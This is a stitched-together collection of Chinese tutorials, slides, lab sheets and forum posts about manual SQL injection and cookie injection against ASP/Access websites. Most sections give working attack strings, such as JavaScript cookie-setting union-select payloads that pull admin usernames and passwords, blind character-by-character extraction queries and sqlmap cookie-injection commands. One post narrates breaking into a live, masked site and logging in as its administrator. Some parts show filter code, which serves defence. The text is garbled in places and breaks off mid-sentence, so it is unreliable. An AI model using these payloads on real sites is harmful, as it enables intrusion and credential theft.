纯手工cookie注入

合集下载

网站防注入别忘了cookie注入

网站防注入别忘了cookie注入

网站防注入别忘了cookie注入经过几年的注入攻击的洗礼,现在即使一般小企业的网站也做了防注入,但有一种注入叫cookie注入,由于它利用了网站程序一般很少使用但确实可用的获取参数的方法,很多网站程序的作者往往忽略了防范cookie注入,给网站的安全带来极大危害。

下面我还是通过一个例子说明cookie注入的危害。

我收藏了一款存在cookie注入漏洞的ASP网站程序―宜昌电脑网络公司v2.8版,它存在的注入漏洞比较经典,就用它来演示cookie注入漏洞了。

发现漏洞我把宜昌电脑网络公司v2.8版在虚拟机里用IIS运行了起来,网站访问地址为http://127.0.0.1/ ,如图1。

在“常见故障”栏目中点开一篇名为“夏普复印机特殊故障代码的复位方法”的文章,在浏览器中显示的地址为http://127.0.0.1/news_more.asp?id=1093,如图2。

在这个地址后面输入-0,也就是浏览器中的地址变为了http://127.0.0.1/news_more.asp?id=1093-0,回车,显示的还是“夏普复印机特殊故障代码的复位方法”这篇文章;在地址http://127.0.0.1/news_more.asp?id=1093后面输入-1,也就是浏览器中的地址变为了http://127.0.0.1/news_more.asp?id=1093-1,回车,显示的文章变为了“夏普AR1818、AR163、AR163N、AR2818垂直白线”,如图3 。

和直接访问http://127.0.0.1/news_more.asp?id=1092显示的页面相同。

也就是id后面的参数1093-1这个减法运算被执行了,推测news_more.asp在获取id参数的值时过滤不严,很可能存在注入漏洞。

是否存在普通的注入漏洞呢?在地址http://127.0.0.1/news_more.asp?id=1093后面输入空格and空格1=1(把空格换成按一下空格键),地址变为了http://127.0.0.1/news_more.asp?id=1093 and 1=1,回车后出来了防注入提示“系统提示:您进行了非法操作请不要在参数中包含非法字符尝试注入!”,如图4。

【Web攻防】第十六节 Cookie注入

【Web攻防】第十六节 Cookie注入

课程内容
1. Cookie介绍 2. Cookie注入代码分析
3. Cookie注入利用 4. Sqlmap安全检测
再见
欢迎关注 Web安全 训练营课程
02
Cookie注入代码分析
代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。
返回Whois信息
03
Cookie注入利用
利用 ' or 1=1 --+ 输出第一个用户名和密码。
04
Sqlmap安全测试
Sqlmap Cookie注入 sqlmap -r target.txt --level 3
Web攻防 训练营
Cookie注入
课程内容
1. Cookie介绍 2. Cookie注入代码分析
3. Cookie注入利用 4. Sqlmap安全检测
ቤተ መጻሕፍቲ ባይዱ
01
Cookie介绍
服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态 。Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入 此网站时保留用户信息以便简化登录手续,这些都是Cookies的功能。另一个重要应用场合是“购物车”之 类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写 Cookies,以便在最后付款时提取信息

全程图解手工注入

全程图解手工注入

全程图解手工注入声明:原创文章,转载请指名来自华夏黑客联盟(),违者必究!回忆起刚学注入的时候,网上的教程杂乱无章,更郁闷的是。

文章被无数次转载,很多常用的命令都出现错误,导致学习的很慢,差点对手工注入失去了信心。

为了帮助初学者学习手工注入,从盲注和sql显错方式注入详细的写了图解教程,希望对初学者有帮助。

第一部分盲注过程(使用了access数据库)一、寻找注入点:使用经典的1=1 和1=2测试法输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26,显示输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and 1=1时,显示输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and 1=2时,显示发生异常,存在注入漏洞.二、判断数据库类型(一)iis允许返回错误的情况输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and user > 0,显示“Microsoft JET Database Engine (0x80040E07)标准表达式中数据类型不匹配”,表明数据库为Access。

(二)如果服务器IIS不允许返回错误,就从从Access和SQLServer和区别入手。

Access 和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26and (select count(*) from msysobjects)>0,显示如下图,由此可判断数据库类型为Access。

cookies欺骗与防御技术

cookies欺骗与防御技术

专家课堂(常见问题与解答) 专家课堂(常见问题与解答)
点拨1 点拨1:从网上下载一个脚本系统,进行IIS配置后,如何在本地电脑中打开该脚本系统的页面? 解答: 解答:要在本地电脑中打开脚本系统的页面,需要按照下面的方法进行设置。 步骤1:打开【计算机管理】窗口,在左侧窗格中依次展开“服务和应用程序”→“Internet信 息服务”→“网站”选项,并在其下的“默认网站”选项上右击,在弹出菜单中选择【属性 】菜单项,如图8-59所示。 步骤2:此时,即可弹出【默认网站 属性】对话框,在“主目录”选项卡中单击“本地路径”文 本框后的【浏览】按钮,在【浏览文件夹】对话框中找到脚本系统存放的目录,将该目录设 置为本地路径,如图8-60所示。
1 2 3 数据库与Cookies的关系 cookies注入典型步骤 手工cookies注入案例与中转工具使用
1.手工Cookies注入 2.Cookies注入中转工具的使用
Cookies注入中转工具的使用 Cookies注入中转工具的使用
模拟攻击者使用工具注入的情况: 步骤1:下载并运行“注入中转生成器”工具,即可打开“注入中转生成器”主窗口, 如图8-49所示。 步骤2:选择“COOKIE注入”单选项,在“注入键名”中填写“id=”;在“注入URL地 址”和“来源页”中均填写/web/site/bbs/readbbs.asp 地址,在“POST提交值”中填写“imdcw=1”,如图8-50所示。 步骤3:在填写完成后,单击【生成ASP】按钮,即可生成注入中转文件,将此文件上 传至任意网络空间,只要能访问即可。这样,经过注入中转文件的帮助,攻击者可 以根据自己的喜欢,选择手工注入或者直接利用工具注入。
IE环境下的cookies设置 IE环境下的cookies设置 环境下的cookies

Cookie注入

Cookie注入
所用
软件
IECookiesView、Cookies注入器
教师签名
实验
目的
要求
理解cookie
掌握cookie欺骗原理
掌握cookie注入方法




本次实iesView,运行该工具对本地计算机IE浏览器中的Cookies文件进行扫描。记录扫描结果,可截图。
2、在“站点”列表中任意选中一个Cookie,进行查看其各个参数,如果存在绿色对勾,表示该cookie可用,如红色,表示已过期。
3、如需对某键值进行编辑,可右击该键值,快捷菜单中选中“编辑Cookie内容”。
4、在“站点”列表中右击某个Cookie,快捷菜单中选中“打开站点”命令,IE浏览器就会自动利用保存在Cookie信息登录相应的网址。记录成功登陆的网站地址,使用的COOKIE信息。




二、Cookie注入攻击
1、下载并运行“Cookies注入器”。
2、在其中设置各属性,单击“生成”按钮,即可打开“文件成功生成”提示框。单击“确定”按钮,即可快速生成注入文件。记录实验所用数据。可截图。

经典手工注入你懂的

经典手工注入你懂的

经典手工注入你懂的注意:对于普通的get注入,如果是字符型,前加' 后加and ''='本文整理:(第三方信息安全网)/经典手工注入你懂的拆半法######################################and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。

and exists (select * from admin)and exists(select id from admin)and exists(select id from admin where id=1)and exists(select id from admin where id>1)然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围and exists (select username from admin)and exists (select password from admin)and exists (select id from admin where len(username)<10 and id=1)and exists (select id from admin where len(username)>5 and id=1)and exists (select id from admin where len(username)=6 and id=1)and exists (select id from admin where len(password)<10 and id=1)and exists (select id from admin where len(password)>5 and id=1)and exists (select id from admin where len(password)=7 and id=1)and (select top 1 asc(mid(username,1,1)) from admin)=97返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。

cookies注入原理

cookies注入原理
javascript:alert(document.cookie="id="+escape("596 and exists (select id from admin where id=7)")) 查询该id号是否admin组
javascript:alert(document.cookie="id="+escape("596 union select 1,2,3,4,5,6,7,8,9,10,11 from admin"))
呵,没错,这就是我们用于读取用户发给WEB 服务器 的指定键中的值!
我们有时为了简化代码,会写成
ID=Request("ID")
这样写法是简单了,但问题就来了~~~
我们先看WEB服务是怎样读取数据的,他是先取GET中的数据,没有再取POST中的数据,还会去取Cookies中的数据(晕,书上没有这么说,这是和小高交流时才知道~~看来书说的不全~~)
Coldstone
在输入框中输入
javascript:alert(document.cookie="id="+escape("123 and 3=3"));
刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面
-------------------------------------------------------------解

网站cookie注入教程

网站cookie注入教程

Web攻防系列教程之 Cookie注入攻防实战2012-08-23 17:01:09摘要:随着网络安全技术的发展,SQL注入作为一种很流行的攻击方式被越来越多的人所知晓。

很多网站也都对SQL注入做了防护,许多网站管理员的做法就是添加一个防注入程序。

这时我们用常规的手段去探测网站的SQL注入漏洞时会被防注入程序阻挡,遇到这种情况我们该怎么办?难道就没有办法了吗?答案是否定的。

随着网络安全技术的发展,SQL注入作为一种很流行的攻击方式被越来越多的人所知晓。

很多网站也都对SQL注入做了防护,许多网站管理员的做法就是添加一个防注入程序。

这时我们用常规的手段去探测网站的SQL注入漏洞时会被防注入程序阻挡,遇到这种情况我们该怎么办?难道就没有办法了吗?答案是否定的。

我们知道,一般的防注入程序都是基于“黑名单”的,根据特征字符串去过滤掉一些危险的字符。

一般情况下,黑名单是不安全的,它存在被绕过的风险。

比如有的防注入程序只过滤了通过GET、POST方式提交的数据,对通过Cookie方式提交的数据却并没有过滤,这时我们该怎么办?在本文你将会找到答案。

Cookie注入原理Cookie最先是由Netscape(网景)公司提出的,Netscape官方文档中对Cookie的定义是这样的:Cookie 是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。

Cookie的用途非常广泛,在网络中经常可以见到Cookie的身影。

它通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站和电子商务网站中的“购物车”。

Cookie注入简单来说就是利用Cookie而发起的注入攻击。

从本质上来讲,Cookie注入与传统的SQL 注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。

要想深入了解Cookie注入的成因,必须要了解ASP脚本中的request对象。

它被用来获取客户端提交的数据。

手工注入入侵网站

手工注入入侵网站
www.**********.com/list.asp?id=511 and (select top 1 asc(mid(username,7,1)) from Admin)=104 得h
www.**********.com/list.asp?id=511 and (select top 1 asc(mid(username,8,1)) from Admin)=117 得u
手工注入前需要什么准备?
悬赏分:120 | 解决时间:2009-8-20 21:23 | 提问者:hxfxuxu 比如 工具—Internet—高级 里面需要设置什么不
最佳答案 不用~~完全不用
转载一个文章 ,希望对你有用
学了黑客这么久,很多朋友只会用明小子扫啊扫的,注入大家都知道,可真正叫你手工注入又有多少人会呢.今天,我就拿我刚才检测的站来给大家做个手工注入的教程,希望大家能活学活用.
准备:
1.欠黑站点:) www.**********.com(这个是我假设的)
2.工具:一双打字的手. 忽忽~~
OK,进入这个站点www.**********.com ,8错,挺美观的,随便点个消息看看.出现了www.**********.com/list.asp?id=511 不晓得站点的安全如何 习惯性的+个'号,问题出来了
终于把帐号和密码猜出来了,找到后台www.**********.com/admin/login.asp直接登入!
一个站点就这样被手工入侵了.看来这个站的安全可以用欠黑来形容了
不知道大家现在是不是对注入有进一步的了解了.希望大家能好好学习!多多交流!
www.**********.com/list.asp?id=511 and (select top 1 asc(mid(username,5,1)) from Admin)=105 得i

POST GET与COOKIE注入原理

POST GET与COOKIE注入原理

POST GET与COOKIE注入原理一般的http请求不外乎get 和post两种,如果过滤掉所有post或者get请求中的参数信息中的非法字符,那么也就实现了防SQL注入。

首先定义请求中不能包含如下字符:'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare各个字符用"|"隔开,然后再判断Request.QueryString,具体代码如下:get请求的非法字符过滤:dim sql_injdataSQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare" SQL_inj = split(SQL_Injdata,"|")If Request.QueryString<>"" ThenFor Each SQL_Get In Request.QueryStringFor SQL_Data=0 To Ubound(SQL_inj)if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 ThenResponse.Write "<Script Language='javascript'>{alert('请不要在参数中包含非法字符!');history.back(-1)}</Script>"Response.endend ifnextNextEnd Ifpost请求的非法字符过滤:If Request.Form<>"" ThenFor Each Sql_Post In Request.FormFor SQL_Data=0 To Ubound(SQL_inj)if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 ThenResponse.Write "<Script Language='javascript'>{alert('请不要在参数中包含非法字符!');history.back(-1)}</Script>"Response.endend ifnextnextend if然后在使用的时候将这两段代码放在数据库连接的文件里一起Include进来即可。

cookies的注入技术教程 电脑资料

cookies的注入技术教程 电脑资料

cookies的注入技术教程电脑资料现在很多网站都采用了通用防注入程序,那么对于这种网站,我门是否就束手无策了呢?答案是否认的,因为我们可以采用cookie 注入的方法,而很多通用防注入程序对这种注入方式都没有防范,在讲之前,我们还是来回忆下ASP脚本中Request对象的知识吧,上面几讲中都提到Request对象获取客户端提交数据常用的是GET和POST二种方式,同时request对象可以不通过集合来获得数据,即直接使用"request("name")"但它的效率低下,容易出错,当我们省略具体的集合名称时,ASP是按QueryString,from,cookie,servervariable,集合的顺序来搜索的,在request对象成员中集合cookies,它的意思是"读取用户系统发送的所有cookie值,我们从第二讲关于"cookies欺骗入侵和原理"中知道,cookies是保存在客户端计算机的一个文本文件,可以进行修改,这样一来,我们就可以使用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击.我们首先还是来看看中网景论坛的最新版本"(KBBSxx)中网景论坛xxv5.0 "官方下载地址".etking./websys2.asp?id=26"时间是xx-06-06,翻开系统的源代码后,在"userRxMsgdetail.asp"文件中,有如下代码:(调用opendb.asp文件)<%Call CheckUserLogin(username)Dim action,s,idid=request("id") (获取客户提交的变量,并赋值给id,并没过滤,也没有指定采用那种方式提交)if id<>"" then Call IsNum(bid) (这是程序员的出现地方,注意bid<>id)conn.execute("update kUsersRxMsg set readed=1 where id="&id) '设置已读rs.open "select * from kusersRxMsg where id="&id,conn,1,3我们再翻开"opendb.asp"文件<%Option ExplicitResponse.Buffer = true%>(调用fzr.asp文件)..................以现它是连接数据库的文件,其中调用了fzr.asp文件,我们再翻开fzr.asp文件<%'--------版权说明------------------'SQL通用防注入程序'Aseanleung'--------定义部份------------------Dim FyPost,FyGet,FyIn,FyInf,FyXh,Fydb,FydbstrDim fso1,alltree2,file1,files,filez,fs1,zruseripIf Request.QueryString<>"" Then (对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断)'自定义需要过滤的字串,用 "|" 分隔FyIn ="'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" (阻止了常用的SQL注入的语句)FyInf = split(FyIn,"|")For Each FyGet In Request.QueryStringFor FyXh=0 To Ubound(FyInf)If Instr(LCase(Request.QueryString(FyGet)),FyInf(FyXh))<>0 Thenzruserip=Request.ServerVariables("XFORWARDEDFOR")If zruserip="" Thenzruserip=Request.ServerVariables("REMOTEADDR") Response.Write "内容含有非法字符!请不要有'或and或or等字符,请去掉这些字符再发!! "Response.Write "如是要攻击网站,系统记录了你的操作↓ " Response.Write "操作IP:"&zruserip&" "Response.Write "操作时间:"&Now&" "Response.Write "操作页面:"&Request.ServerVariables("URL")&" "Response.Write "提交方式:GET "Response.Write "提交参数:"&FyGet&" "Response.Write "提交数据:"&Request.QueryString(FyGet) ......................很明显的看出它是一个SQL通用防注入程序文件,(以上的红字是对代码的解释)代码看好了,我们来下思路:由于程序员的出错,导致了id没有被过滤就被带到SQL语句中查询,这是注入漏洞产生的原因,虽然程序引入了防注入程序,阻止了常用的SQL语句使用,但只对客户采用GET方式提交的数据进行判断,而没有对其它方式提交的数据进行判断,这样导致了客户可以使用Request.cookie方式来提交变量的值,而绕过了SQL防注入程序(下:cookie注入产生的条件:系统直接使用"request("name")"获取客户提交的数据,并对客户提交的变量没有过滤,而且在防注入程序中没有限制Request.cookie,现在防注入程序3.0只是对客户采用GET和POST提交方式进行了限制).原理讲好了,下面我们来学学coolie注入语句吧cookies的注入语句:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)")); 这儿用到了javascript语言的知识,我把这语句的意思分解如下,以便大家理解:1:"alert()"显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮.(我们在跨站中常用到)2:"document.cookie"我们在处理cookie时,javascript将它保存为document对象的一个属性,其属性名称是cookie,利用这个属性,我们可以创立和读取cookie数据,在程序中可以使用:"alert(document.cookie)"调用当前页面的cookie数据项值.在我们启动浏览器翻开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据),cookie属性是允许读写的cookie;字符串类型。

手工注入

手工注入
举一反三,那这个句子:select * from 表名 where id=7 and 1=2,肯定是不对的了,那这条查询语句就不能正确地从数据库里查询出信息,所以我们就会看到一个错误的页面! 以上是注入点参数是int(整数型)时的分析!
B。字符型参数注入点分析
和刚才一样,我们先来看第二个字符型注入页面里的查询语句,比如是这个select * from 表 where id='ade7'(为什么加引号?看前面吧!)。原来的查询语句是这个样子的,如果我们还按照数字型参数的那种测试漏洞的方法的话,语句就会变成这样:select * from 表 where id='ade7 and 1=1'和
/a.asp?id=7,这个网页,我们在后面加上 and 1=1(两个空格,and前面一个,and和1=1之间一个!),网址就变成了
/a.asp?id=7 and 1=1,用IE打开这个网页,返回正常!再尝试在后面加上and 1=2,网址就变成了
B。在注入点后加上(注意,你先确定了它是注入点后再加,不是注入点你加了也没用!): ;--(一个分号,两个横线!)比如这个网址
/article/as.asp?id=875,我们事先已经确定了它是注入点了, 这样的话我们就可以在后面加上;--让它变成
/article/as.asp?id=875;-- 提交这个网址,如果页面返回正常的话,说明数据库是MSSQL。因为在MSSQL数据库里,;和--都是存在的,";" 用来分离两个语句,而"--"就是注释符,在它后面的语句都不执行!而ACCESS数据库里没有!所以如果是ACCESS的数据库,当你在注入地址
asp?id= php?id= 这样的样子的都是调用数据库的页面。"?"后面加的id的名字叫变量,注意这个变量是可以随便换的,"="号后面的值名字叫参数!这个参数也是可以变的!大家的思路一定要灵活,要学会举一反三,不要太死板!

Cookies欺骗与防御技术剖析

Cookies欺骗与防御技术剖析

深入探讨Cookies欺骗漏洞 深入探讨Cookies欺骗漏洞 Cookies
1 2 3 4 5 6 7 数据库与Cookies的关系 Cookies注入的成因 Cookies注入典型代码分析 Cookies注入典型步骤 Cookies欺骗与上传攻击 ClassID值的欺骗入侵 简单用户名的欺骗
简单用户名的欺骗
Cookies注入防范 Cookies注入防范
1.删除Cookie记录 删除Cookie记录 Cookie 步骤4:单击【扫描】按钮,即可将扫描出本机中包含的Cookie文件,如图7-55所示 。若单击【全部删除】按钮,即可弹出【是否要删除所有扫描到的历史记录】提 示框,如图7-56所示。单击【确定】按钮,则删除所有扫描的历史记录。待删除 完毕后,即可在【Windows优化大师】窗口底部看到“历史清理清理完毕”提示信 息,如图7-57所示。
利用IECookies View获得目标计算机的Cookies信息 获得目标计算机的Cookies 利用IECookies View获得目标计算机的Cookies信息
使用的具体步骤如下: 步骤1:下载并运行IECookiesView,该工具就会自动扫描驻留在本地计算机IE浏览器 中的Cookies文件,如图7-17所示。 步骤2:在“站点”列表中任意选中一个Cookies,就可以在显示区域中看到其地址、 参数以及过期时间等信息,如图7-18所示。如果显示一个绿色的对勾则该Cookies 可用;如果是一个红色叉,则表示该Cookies已经过期,无法使用。
反黑风暴— 黑风暴— 网站入侵与脚本技术快速防杀 网站入侵与脚本技术快速防杀
Cookies欺骗与防御技术剖析 Cookies欺骗与防御技术剖析
♂透析Cookies ♂Cookies欺骗攻击实例 ♂深入探讨Cookies欺骗漏洞 ♂Cookies欺骗的防范措施

cookie手工注入

cookie手工注入

1.先访问当前注入点文件名2.修改cookiejavascript:alert(document.cookie="id="+escape("1137"));把当前站点的cookie内容修改为id=260 并且弹窗显示出当前的cookie内容注入点:http://127.0.0.1:800/asp/Production/PRODUCT_DETAIL.asp?id=1137注入点文件名:http://127.0.0.1:800/asp/Production/PRODUCT_DETAIL.asp?javascript:alert(document.cookie="id="+escape("260"));内容:document.cookie="id="+escape("260")document.cookie //修改cookie"id="+escape("260")//id是咱们注入点的参数260 //参数值javascript //使用js语句alert //弹出窗口,javascript:alert(document.cookie="id="+escape("1137"));把当前站点的cookie内容修改为id=260 并且弹窗显示出当前的cookie内容判断是否存在注入javascript:alert(document.cookie="id="+escape("1137 and 1=1"));返回正常javascript:alert(document.cookie="id="+escape("1137 and 1=221"));返回错误查询指定管理员javascript:alert(document.cookie="id="+escape("1137 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin where id=40"));。

一个注入辅助小程序

一个注入辅助小程序
[原创]一个注入辅助小程序
文章标题:[原创]一个注入辅助小程序顶部 虫虫 发布于:2007-01-3119:09 [楼主][原创]一个注入辅助小程序
软件作者:虫虫
信息来源:邪恶八进制信息安全团队()
想写这个小东西已经有很长时间了,前几天终于写好了。
写这个小工具是想解决一些手工注入比较麻烦,工具注入又没法用的情况的。例如有些注入工具就不支持Cookie注入;有些注入必须符合很多条件,例如aspx的注入,一般都会有一个__VIEWSTATE变量要发,否则就不可以;有的做了注入过滤,单手工可以注入....
删除HTTP选项:剔除指定的HTTP头选项.
添改HTTP变量:添加/修改指定的GET/POST变量,例如aspx常用的"__VIEWSTATE"
删除HTTP变量:剔除指定的HTTP变量.
变量转为选项:将指定的GET/POST变量转换为HTTP头选项.可以在非GET/POST型注入时用到.
很实用的工具,我遇到个注入点,他NND如果换参数就不可以注入,非得手工在中间的参数后面进行注入,看到这个工具真的掀喜中。。。
可下面又有人说出错,我还没试,但先在此谢谢了,如果能用,我将表示感谢。并希望能将软件完善。顶部 紫蝶翼の风 发布于:2007-05-2421:07 [9楼]
哇 这正是我需要的东西哇。。。
使用方法:
在域名框内输入指定服务器的域名(也可为ip),确定后即可通过ie或nbsi等注入工具扫描http://localhost:800/../xxx.asp?xxx..
点"修改规则"即可进行HTTP请求修改规则编辑.共有9种修改规则,分别为:
添改HTTP选项:可以添加/修改HTTP头选项,如COOKIE等.(如果原选项存在将被覆盖)

cookie注入绕过SQL通用防注入程序

cookie注入绕过SQL通用防注入程序

ASP是按QueryString,from,cookie,servervariable,集合的顺序来搜索的,在request对象成员中集合 cookies,它的意思是"读取用户系统发送的所有cookie值,我们从第二讲关于"cookies欺骗入侵和原理"中知道,cookies是保存在客户端计算机的一个文本文件,可以进行修改,这样一来,我们就可以使用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击.我们首先还是来看看中网景论坛的最新版本"(CNKBBS2007)中网景论坛2007v5.0 "官方下载地址"/websys2.asp?id=26"发布时间是2007-06-06,打开系统的源代码后,在"user_RxMsg_detail.asp"文件中,有如下代码:<!--#include file="opendb.asp" --> (调用opendb.asp文件)<!--#include file="char.asp" --><%Call CheckUserLogin(username)Dim action,s,idid=request("id") (获取客户提交的变量,并赋值给id,并没过滤,也没有指定采用那种方式提交)if id<>"" then Call IsNum(bid) (这是程序员的出现地方,注意bid<>id)conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '设置已读rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3我们再打开"opendb.asp"文件<%Option ExplicitResponse.Buffer = true%><!--#include file="fzr.asp" --> (调用fzr.asp文件)<!--#include file="cnkdata/dbname.asp" --><!--#include file="config.asp"-->..................以现它是连接数据库的文件,其中调用了fzr.asp文件,我们再打开fzr.asp文件<%'--------版权说明------------------'SQL通用防注入程序'Aseanleung'--------定义部份------------------Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstrDim fso1,all_tree2,file1,files,filez,fs1,zruseripIf Request.QueryString<>"" Then (对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断)'自定义需要过滤的字串,用 "|" 分隔Fy_In ="'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|tr uncate|char|declare|script" (阻止了常用的SQL注入的语句)Fy_Inf = split(Fy_In,"|")For Each Fy_Get In Request.QueryStringFor Fy_Xh=0 To Ubound(Fy_Inf)If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Thenzruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")Response.Write "内容含有非法字符!请不要有'或and或or等字符,请去掉这些字符再发!!<br>"Response.Write "如是要攻击网站,系统记录了你的操作↓<br>"Response.Write "操作IP:"&zruserip&"<br>"Response.Write "操作时间:"&Now&"<br>"Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"Response.Write "提交方式:GET<br>"Response.Write "提交参数:"&Fy_Get&"<br>"Response.Write "提交数据:"&Request.QueryString(Fy_Get)......................很明显的看出它是一个SQL通用防注入程序文件,(以上的红字是对代码的解释)代码看好了,我们来整理下思路:由于程序员的出错,导致了id没有被过滤就被带到SQL语句中查询,这是注入漏洞产生的原因,虽然程序引入了防注入程序,阻止了常用的SQL语句使用,但只对客户采用GET方式提交的数据进行判断,而没有对其它方式提交的数据进行判断,这样导致了客户可以使用 Request.cookie 方式来提交变量的值,而绕过了SQL防注入程序(总结下:cookie注入产生的条件:系统直接使用"request("name")"获取客户提交的数据,并对客户提交的变量没有过滤,而且在防注入程序中没有限制Request.cookie,现在防注入程序3.0只是对客户采用GET和POST提交方式进行了限制).原理讲好了,下面我们来学学coolie注入语句吧cookies的注入语句:javascript:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)"));这儿用到了javascript语言的知识,我把这语句的意思分解如下,以便大家理解:1:"alert()"显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮.(我们在跨站中常用到)2:"document.cookie"我们在处理cookie时,javascript将它保存为document 对象的一个属性,其属性名称是 cookie,利用这个属性,我们可以创建和读取cookie数据,在程序中可以使用:"alert(document.cookie)"调用当前页面的cookie数据项值.在我们启动浏览器打开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据),cookie属性是允许读写HTTP的cookie;字符串类型4:escape()函数;它将字符串中所有的非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能.一般情况下,cookie通常由服务器端的程序通过HTTP请求和响应头发送给浏览器,但是,利用javascript,可以在本地浏览器中设置cookie格式:name=value的属性是指定cookie数据项的名称,value是该名称对应的值,它是一个字符串,也可是由一系列字符组成,name和value中不能包含分号,逗号及空白,(50"and 1=1")有分号,逗号及空白,所以我们要用到escape()函数对他们进行编码上面整句的意思大家都明白了吧,就是设置调用当前创建的cookie数据项值,在设置cookie时,它们首先保存在浏览器的内存中,退出浏览器时,才能被写入到硬盘中.(这就是在下面操作中为什么在退出后,再输入链接的地址原因)最后我们来测试下,利用步骤:1:打开在本地机子上架设的中网景论坛:注册一个用户,我们就会收到管理员发来的一条短信息,我们打开短信息的链接(注意这儿的参数id值)2:把浏览器的URL清空,输入"javascript:alert(document.cookie="ArticleID="+escape("401 and 1=1"));之后会弹出一个框框,3:再次输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(返回正常的页面,说明我们绕过了SQL防注入程序了)3:再输入:javascript:alert(document.cookie="id="+escape("1 and 1=2"));然后再输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(时间和内容都没有显示了,说明我们可以进行注入了)4:通过查看系统数据库,得知cnk_users_RxMsg 表里有8个字段,Cnk_Admin表是存放管理员资料的,其中AdminName,AdminPassword字段分别对应的是账号和密码,我们使用联合查询语句,再输入:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"))然后把地址栏清空,输入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可经看到显示了数字4和55:再次把地址栏清空,输入:javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin")),提交后,清空地址栏,输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员,这样我们就在页面上看到管理员的密码和账号了。

VB编写的Cookie注入工具实例

VB编写的Cookie注入工具实例

VB编写Cookie 注入工具实例作者穿山甲2008年1月很早以前用VB写的cookie注入工具实例,放在柜里实在可惜,发来供VB友人共享,源程序也午网上还有,找不到的联系QQ:182442687索取一、界面:控件:3个label、8个text、4个Command原理:主要利用webbrowser提交javascript语句(WebBrowser1.Navigate Text8.Text),更改当前cookie,然后刷新页面cookie值(WebBrowser1.Refresh)利用语句:javascript:alert(document.cookie="id="+escape("52 and 1=l union select 1,username,password,4,5,6,7,8,9,10 from admin"))---------------------------------------------------------------------------------------------------------------------- 二、代码:Private Sub Command2_Click()WebBrowser1.Navigate text1.Text '打开网站End SubPrivate Sub Command1_Click()Text2.Text = WebBrowser1.Document.cookie '获得当前面cookie值,并将值赋给text2.textEnd SubPrivate Sub Command3_Click()'主要利用语句:javascript:alert(document.cookie="id="+escape("52 and 1=l union select 1,username,password,4,5,6,7,8,9,10 from admin"))Text8.Text = Text4.Text + Text5.Text + Text6.Text + Text3.Text + Text7.TextWebBrowser1.Navigate Text8.Text '提交cookie脚本,给ID赋值End SubPrivate Sub Command4_Click()On Error Resume NextWebBrowser1.Refresh '刷新页面,进行cookie注入End Sub'下面是自适应窗体大小调整:'调整后的宽度text1.width = text1.width原值/ form1.scalewidth原值* 调整后的窗体宽度(Form1.ScaleWidth)'调整后的高度text1.height = text1.height原值/ 